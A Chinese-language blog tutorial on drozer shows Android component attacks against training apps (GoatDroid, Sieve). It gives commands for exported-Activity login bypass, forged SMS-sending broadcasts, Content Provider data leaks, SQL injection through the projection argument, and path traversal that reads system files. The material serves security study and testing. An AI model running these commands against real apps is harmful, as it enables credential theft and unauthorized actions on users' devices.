【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

GGBomb發表於2024-03-21

drozer:

drozer(以前稱為Mercury)是一款強大的開源Android安全評估框架,旨在幫助安全研究人員和滲透測試人員發現並利用Android裝置和應用程式中的潛在安全漏洞。透過drozer,使用者可以在裝置上或遠端執行一系列安全測試,包括但不限於:訪問及控制本地應用:透過API探索和操作已安裝的應用程式元件(如Activities、Services、Broadcast Receivers等)。網路通訊分析:監控和攔截裝置上的網路流量,識別潛在的安全風險。檔案系統和資料庫訪問:檢視和修改裝置上的檔案內容以及應用的資料庫資料。模擬攻擊:模擬惡意行為,如注入許可權提升漏洞、執行程式碼等。drozer包含一個客戶端和一個伺服器端。客戶端通常在攻擊者機器上執行,提供命令列介面;伺服器端(agent)安裝在目標Android裝置上,負責執行實際的安全測試任務。drozer的命令列工具允許使用者執行各種自定義的安全測試指令碼和命令,比如在您的提問中提到的啟動特定應用元件的命令

啟動:手機開啟drozer_agent

adb forward tcp:31415 tcp:31415

drozer console connect

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

常用指令:

run app.package.list 命令的作用是列出目標Android裝置上已安裝的所有應用程式包(packages)的資訊。可以使用-f進行過濾

run app.package.attacksurface 包名 命令用於顯示指定應用的攻擊面資訊。這個命令可以幫助安全研究人員和開發者瞭解目標應用暴露在外的可被攻擊的元件和服務。例子:

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

run app.activity.info -a 包名 命令用於查詢指定包名下所有Activity元件的資訊。

app.package.info -a 包名 命令用於獲取指定Android應用包的詳細資訊

run app.activity.start --component run app.activity.start --component 命令用於啟動Android應用程式中的一個特定的Activity。--component 引數後面跟著的是你想要啟動的Activity的完整元件名,包括包名和Activity類名。

Activity越權繞過:

這裡先來寫一個demo來測試一下這個漏洞,先來簡單講一下這個漏洞原理
在Android系統中,Activity預設是不匯出的,如果設定了exported = "true" 這樣的關鍵值或者是新增了<intent-filter>這樣的屬性,那麼此時Activity是匯出的,就會導致越權繞過或者是洩露敏感資訊等安全風險。
例如:
(1)一些敏感的介面需要使用者輸入密碼才能檢視,如果沒有對呼叫此Activity的元件進行許可權驗證,就會造成驗證的越權問題,導致攻擊者不需要密碼就可以開啟
(2)透過Intent給Activity傳輸畸形資料使得程式崩潰拒絕服務
(3)對Activity介面進行劫持

😅😃😄

我寫了一個demo

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

這裡提示輸入賬號密碼,輸入正確就會跳入另外一個介面,錯誤就彈出訊息,正常情況我們不知道賬號密碼,根本無法進去,如果我在另外一個介面配置時加入了

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

這個介面就會導致越權繞過或者是洩露敏感資訊

現在我們直接drozer梭一下

run app.activity.start --component com.example.demo3 com.example.demo3.OtherActivity 就可以繞過了

Broadcast Reciver:

訊息偽造和拒絕服務:

原理:

可以透過兩種方式註冊廣播接收器,一種是在AndroidManifest.xml檔案中透過<receiver>標籤靜態註冊,另一種是透過Context.registerReceiver()動態註冊,指定相應的intentFilter引數,動態註冊的廣播預設都是匯出的,如果匯出的BroadcastReceiver沒有做許可權控制,導致BroadcastReceiver元件可以接收一個外部可控的url、或者其他命令,導致攻擊者可以越權利用應用的

先來看看demo

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

可以看看這個廣播接收器的類名 app.broadcast.info -a org.owasp.goatdroid.fourgoats 【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

接著可以再jadx中分析一下這個類,程式碼如下

package org.owasp.goatdroid.fourgoats.broadcastreceivers;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Constants;
import org.owasp.goatdroid.fourgoats.misc.Utils;

/* loaded from: classes.dex */
public class SendSMSNowReceiver extends BroadcastReceiver {
    Context context;

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context arg0, Intent arg1) {
        this.context = arg0;
        SmsManager sms = SmsManager.getDefault();
        Bundle bundle = arg1.getExtras();
        sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
        Utils.makeToast(this.context, Constants.TEXT_MESSAGE_SENT, 1);
    }
}

簡單來說就是一旦接收到對應的action,就會獲得對應的phonenumber和message。

那如果我們偽造這個action,並修改phonenumber和message的資訊,就可以達到訊息偽造的效果

先來看看action名

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

然後 run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 123 --extra string message ggg 就可以達到訊息偽造的效果

run app.broadcast.send --action <action> 如果構造其它引數,就會達到程式奔潰退出的效果,達到拒絕服務的效果

Content Provider:

漏洞原理:Android中Content Provider起到在不同的程序APP之間實現共享資料的作用,透過Binder程序間通訊機制以及匿名共享記憶體機制來實現,但是考慮到資料的安全性,我們需要設定一定的保護許可權。Binder程序間通訊機制突破了以應用程式為邊界的許可權控制,是安全可控的,資料的訪問介面由資料的所有者來提供,資料提供方實現安全控制,決定資料的讀寫操作
而content Provider元件本身提供了讀取許可權控制,這導致在使用過程中就會存在一些漏洞

樣本apk來源:[原創]Android APP漏洞之戰(4)——Content Provider漏洞詳解-Android安全-看雪-安全社群|安全招聘|kanxue.com

先來看樣本,先儲存一段賬號密碼

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

接著再用drozer進行掃描

run scanner.provider.finduris -a 包名

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

run app.provider.query uri 讀取資料

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

可以發現已經洩露出密碼資訊,接著如果我們要檢視Keys表內容的話,會發現許可權不夠

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

SQL隱碼攻擊:

run scanner.provider.injection -a <包名> 找尋sql注入點

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" 可以檢視報錯資訊判斷注入點在哪裡

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

發現出現報錯了SELECT ' FROM Passwords,那我們可以接著構造select * from key 在用--+註釋掉from passwords就可以

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--+" 列出所有表資訊

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

run scanner.provider.sqltables -a 包名 列表app所有表資訊

目錄遍歷漏洞:

run scanner.provider.traversal -a <包名> 查詢檔案遍歷漏洞

【安卓漏洞挖掘】drozer--安卓四大元件的漏洞學習

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 讀取系統檔案

相關文章